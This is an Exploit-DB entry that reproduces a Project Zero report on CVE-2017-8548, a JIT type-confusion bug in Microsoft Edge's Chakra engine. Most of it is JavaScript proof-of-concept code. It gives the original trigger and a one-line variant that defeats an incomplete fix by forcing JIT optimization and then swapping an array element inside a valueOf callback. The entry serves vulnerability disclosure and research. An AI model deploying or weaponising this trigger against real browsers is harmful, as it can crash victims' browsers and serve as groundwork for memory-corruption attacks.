Microsoft Edge Chakra - Incorrect JIT Optimization with TypedArray Setter #2

EDB-ID: 42473
Author: Google Security Research
Published: 2017-08-17
CVE: CVE-2017-8548
Type: Dos
Platform: Windows
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

 Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1290 
  
 I think the fix for #1045 is incorrect. 
  
 Here's the original PoC. 
  
 'use strict'; 
  
 function func(a, b, c) { 
     a[0] = 1.2; 
     b[0] = c; 
     a[1] = 2.2; 
     a[0] = 2.3023e-320; 
 } 
  
 function main() { 
     var a = [1.1, 2.2]; 
     var b = new Uint32Array(100); 
  
     // force to optimize 
     for (var i = 0; i < 0x10000; i++) 
         func(a, b, i); 
  
     func(a, b, {valueOf: () => { 
         a[0] = {}; 
  
         return 0; 
     }}); 
  
     a[0].toString(); 
 } 
  
 main(); 
  
  
 I just changed "var b = new Uint32Array(100);" to "var b = new Uint32Array(0);", and it worked well. 
  
 PoC: 
 --> 
  
 'use strict'; 
  
 function func(a, b, c) { 
     a[0] = 1.2; 
     b[0] = c; 
     a[1] = 2.2; 
     a[0] = 2.3023e-320; 
 } 
  
 function main() { 
     var a = [1.1, 2.2]; 
     var b = new Uint32Array(0);  // <<--------- 100 -> 0 
  
     // force to optimize 
     for (var i = 0; i < 0x10000; i++) 
         func(a, b, i); 
  
     func(a, b, {valueOf: () => { 
         a[0] = {}; 
  
         return 0; 
     }}); 
  
     a[0].toString(); 
 } 
  
 main();

Source: www.exploit-db.com